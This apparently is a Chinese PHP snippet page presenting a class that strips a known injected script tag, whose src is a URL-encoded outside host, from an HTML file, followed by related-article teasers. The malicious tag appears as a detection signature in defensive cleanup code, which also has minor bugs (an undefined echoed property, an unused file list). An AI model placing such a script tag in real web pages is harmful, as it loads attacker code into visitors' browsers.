php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php抛出异常与捕捉特定类型的异常详解

什么是异常? PHP 5 提供了一种新的面向对象的错误处理方法。 异常处理用于在指定的错误(异常)情况发生时改变脚本的正常流程。这种情况称为异常。 当异常被触发时,通常会发生:...

php中FTP函数ftp_connect、ftp_login与ftp_chmod用法

本文实例讲述了php中FTP函数ftp_connect、ftp_login与ftp_chmod用法。分享给大家供大家参考。具体方法如下: ftp_connect() 函数建立一个新的 f...

php面向对象编程self和static的区别

在php的面向对象编程中,总会遇到 class test{ public static function test(){ self::func(); static::fu...

PHP查找数值数组中不重复最大和最小的10个数的方法

本文实例讲述了PHP查找数值数组中不重复最大和最小的10个数的方法。分享给大家供大家参考。具体如下: 1. php代码如下: //随机生成1万个元素的数组 for($i=0;$i&l...

php银联网页支付实现方法

本文实例讲述了php银联网页支付实现方法。分享给大家供大家参考。具体分析如下: 这里介绍的银联WAP支付功能,仅限消费功能。 1. PHP代码如下: 复制代码 代码如下:<?...